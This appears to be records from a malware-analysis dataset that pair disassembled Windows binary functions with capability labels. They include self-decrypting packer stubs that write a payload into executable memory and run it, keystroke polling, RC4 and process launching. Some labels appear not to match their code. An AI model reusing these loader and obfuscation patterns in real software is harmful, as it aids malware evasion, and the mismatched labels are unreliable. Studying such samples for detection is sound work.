joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x406eff
pop dword [ebp - 0x48]
mov eax, 0x406eff
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x38312b88
sub dword [ebp - 0x58], 0xe9dee63d
mov dword [ebp - 0x54], 0xa32e2a88
sub dword [ebp - 0x54], 0x70fade43
mov dword [ebp - 0x50], 0x8ae43129
add dword [ebp - 0x50], 0xc1681305
mov dword [ebp - 0x4c], 0x56e9ad1b
sub dword [ebp - 0x4c], 0x56e9ad1b
lea eax, [ebp - 0x58]
push eax
mov eax, 0x42e4d3e9
sub eax, 0x42a39359
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xf94baa40
sub dword [ebp - 0x58], 0x84d940ea
mov dword [ebp - 0x54], 0xbe397989
sub dword [ebp - 0x54], 0x7ccd1814
mov dword [ebp - 0x50], 0x33fd5a13
add dword [ebp - 0x50], 0x2f721259
mov dword [ebp - 0x4c], 0xb8510391
add dword [ebp - 0x4c], 0x47aefc6f
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x51bd4d5e
sub eax, 0x517c0d22
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3abf8
push 0
call eax
mov ecx, 0x4775
xor esi, esi
add esi, eax
mov edi, 0x95a4a974
sub edi, 0x9562e974
add edi, dword [ebp - 0x48]
mov edx, 0x29bc1e3c
sub edx, 0x1423d29c
xor dword [ebp - 0x24], 0xe4196ee3
mov ebx, dword [edi]
add dword [ebp - 0x10], ebx
add ebx, edx
add dword [ebp - 8], 0xa937649e
mov dword [esi], ebx
sub dword [ebp - 8], edi
add esi, 0x90326ebd
sub esi, 0x90326eb9
add edi, 0xa741765f
sub edi, 0xa741765b
loop 0x407018
add eax, 0x8f3b7ff9
sub eax, 0x8f3a6f52
xor ebx, ebx
add ebx, eax
add eax, 0x51ee5ff8
add eax, 0xae11a00d
mov ecx, 0xf770874a
sub ecx, 0xf730874a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x9f0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x9f01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9f007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9f006a
add dl, dl
jne 0x9f0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9f00dc
xor eax, eax
add dl, dl
jne 0x9f0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9f017d
add dl, dl
jne 0x9f00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9f00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9f0075
mov eax, 1
add dl, dl
jne 0x9f00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9f00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9f00e1
sub eax, ebx
mov ebx, 1
jne 0x9f0128
mov ecx, 1
add dl, dl
jne 0x9f010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9f0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9f0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9f0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9f013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9f014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9f0136
cmp eax, 0x7d00
jae 0x9f016d
cmp eax, 0x500
jb 0x9f0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9f0075
cmp eax, 0x7f
ja 0x9f0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9f0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9f019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9f0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x405301
pop dword [ebp - 4]
mov eax, 0x2bfbfe0c
sub eax, 0x2bbbab0b
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x20a0bb4d
add dword [ebp - 0x14], 0x2db189fe
mov dword [ebp - 0x10], 0xc82700cb
add dword [ebp - 0x10], 0x6a0c4b7a
mov dword [ebp - 0xc], 0xc0b04500
sub dword [ebp - 0xc], 0x746400d2
mov dword [ebp - 8], 0xfa84d21c
add dword [ebp - 8], 0x57b2de4
lea eax, [ebp - 0x14]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x8f865346
add dword [ebp - 0x14], 0xe4ec1610
mov dword [ebp - 0x10], 0xa0557205
sub dword [ebp - 0x10], 0x5ee91090
mov dword [ebp - 0xc], 0xb93872fb
sub dword [ebp - 0xc], 0x55c9068f
mov dword [ebp - 8], 0x625a47aa
sub dword [ebp - 8], 0x625a47aa
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x39592
push 0
call eax
mov ecx, 0xe706033a
add ecx, 0x18fa4403
xor edx, edx
add edx, eax
mov ebx, 0x33dd0838
sub ebx, 0x339b5838
add ebx, dword [ebp - 4]
mov edi, 0x7b285224
add edi, 0x1e62bb85
mov esi, dword [ebx]
xor esi, edi
mov dword [edx], esi
add edx, 0xdd9d77ef
add edx, 0x22628815
add ebx, 0x99773e9c
add ebx, 0x6688c168
loop 0x40541b
add eax, 0x3507efc5
sub eax, 0x3506dffe
xor ebx, ebx
add ebx, eax
add eax, 0xebef9a6
sub eax, 0xebef9a1
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x42e004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x451d0a30
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x268b3cbf
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x402e82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402e91
pop dword [ebp - 0x34]
mov eax, 0x402e91
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xce490d91
sub dword [ebp - 0x44], 0x7ff6c846
mov dword [ebp - 0x40], 0xbecb150c
add dword [ebp - 0x40], 0x73683739
mov dword [ebp - 0x3c], 0xe50b94bf
sub dword [ebp - 0x3c], 0x98bf5091
mov dword [ebp - 0x38], 0x9ab11843
sub dword [ebp - 0x38], 0x9ab11843
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x1575a7de
add dword [ebp - 0x44], 0x5efcc178
mov dword [ebp - 0x40], 0x3e998261
sub dword [ebp - 0x40], 0xfd2d20ec
mov dword [ebp - 0x3c], 0x8e24d3a4
add dword [ebp - 0x3c], 0xd54a98c8
mov dword [ebp - 0x38], 0xedd2463a
add dword [ebp - 0x38], 0x122db9c6
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x239e3430
add eax, 0xdca24cd0
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x399da
push 0
call eax
mov ecx, 0x70953b57
sub ecx, 0x7094e8db
mov edi, eax
mov ebx, 0x8a1b0fd6
add ebx, 0x7629f42a
add ebx, dword [ebp - 0x34]
mov esi, 0x8878977a
sub esi, 0xd005b5a
add dword [ebp - 0x30], 0x3cfbf2e1
mov edx, dword [ebx]
add dword [ebp - 0x14], 0x811c8043
sub edx, esi
add dword [ebp - 0xc], 0xa6edc929
mov dword [edi], edx
xor dword [ebp - 0x2c], ecx
add edi, 4
add ebx, 0xa13846be
add ebx, 0x5ec7b946
loop 0x402fa9
add eax, 0x13cc3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfcc0f88
add ecx, 0xf073f078
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x416930
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48383b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047614e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4169b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004737c0
mov eax, dword [eax]
push 0x56a224
push eax
call fcn.00466234
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004763d9
test bl, bl
je 0x4169b2
push 0x56a224
lea ecx, [esp + 0xc]
call fcn.004767b5
push 0x56dd9c
lea ecx, [esp + 0xc]
call fcn.004767b5
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4169ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004763d9
jmp 0x416ab9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x416a72
lea edx, [esp + 0x7c]
push 0x56dd98
push edx
call fcn.00466234
add esp, 8
test eax, eax
je 0x416a72
lea eax, [esp + 0x7c]
push 0x56dd94
push eax
call fcn.00466234
add esp, 8
test eax, eax
je 0x416a72
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x416a02
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004763d9
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4172b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x417312
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x417320
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4838bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x574d6c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x417458
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x417386
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004763d9
xor eax, eax
jmp 0x4174cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00476562
push esi
lea ecx, [esp + 0xc]
call fcn.004767f1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4174ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.004172b0
test eax, eax
jne 0x4174ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.004172b0
test eax, eax
jne 0x4174ad
lea eax, [esp + 0x14]
push 0x56ddb0
push eax
call fcn.004673e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41748c
lea ecx, [esp + 0x14]
push 0x56ddac
push ecx
call fcn.00467360
mov esi, eax
add esp, 8
test esi, esi
jne 0x41748c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41748f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00476512
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41739e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004763d9
xor eax, eax
jmp 0x4174cf
mov byte [esi], 0
push 0x56dda8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004763d9
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x429060
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4290ce
cmp si, 0x69
ja 0x4290ce
add esi, 0xffd0
cmp si, 0x11
je 0x42909e
push 0x11
call edi
test ax, ax
jge 0x42909e
or esi, 0x2000
cmp si, 0x10
je 0x4290b3
push 0x10
call edi
test ax, ax
jge 0x4290b3
or esi, 0x4000
cmp si, 0x12
je 0x4290c8
push 0x12
call edi
test ax, ax
jge 0x4290c8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4290db
mov esi, 0xbd
jmp 0x42908f
cmp si, 0x6e
jne 0x4290e8
mov esi, 0xbe
jmp 0x42908f
cmp si, 0x6f
jne 0x429089
mov esi, 0xbf
jmp 0x42908f

Function at 0x42a890
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x585b68]
xor edx, edx
cmp eax, edx
jne 0x42a8b6
xor eax, eax
mov byte [eax + 0x585a68], al
inc eax
cmp eax, 0x100
jl 0x42a89e
mov dword [0x585b68], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x585a68
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42a947
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42a91a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42a8e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42a9c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42aa13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42a9fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431450
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4315e8
cmp ebp, ebx
jle 0x4315e8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x4314ae
dec eax
or eax, 0xfffffff8
inc eax
je 0x4314b5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4314c4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4314cb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0047611a
add esp, 4
cmp eax, ebx
je 0x4314ec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0047611a
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4315de
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4315c5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4315b1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4315a6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4315b4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4315b4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x431550
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x431541
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x434850
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x484f48
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x434889
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047dc17
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047dc9f
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00434910
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047dcdc
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x438dd0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4856d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00439950
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x438e79
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.00438a60
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.0047cec8
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00448050
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.0047cf3a
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14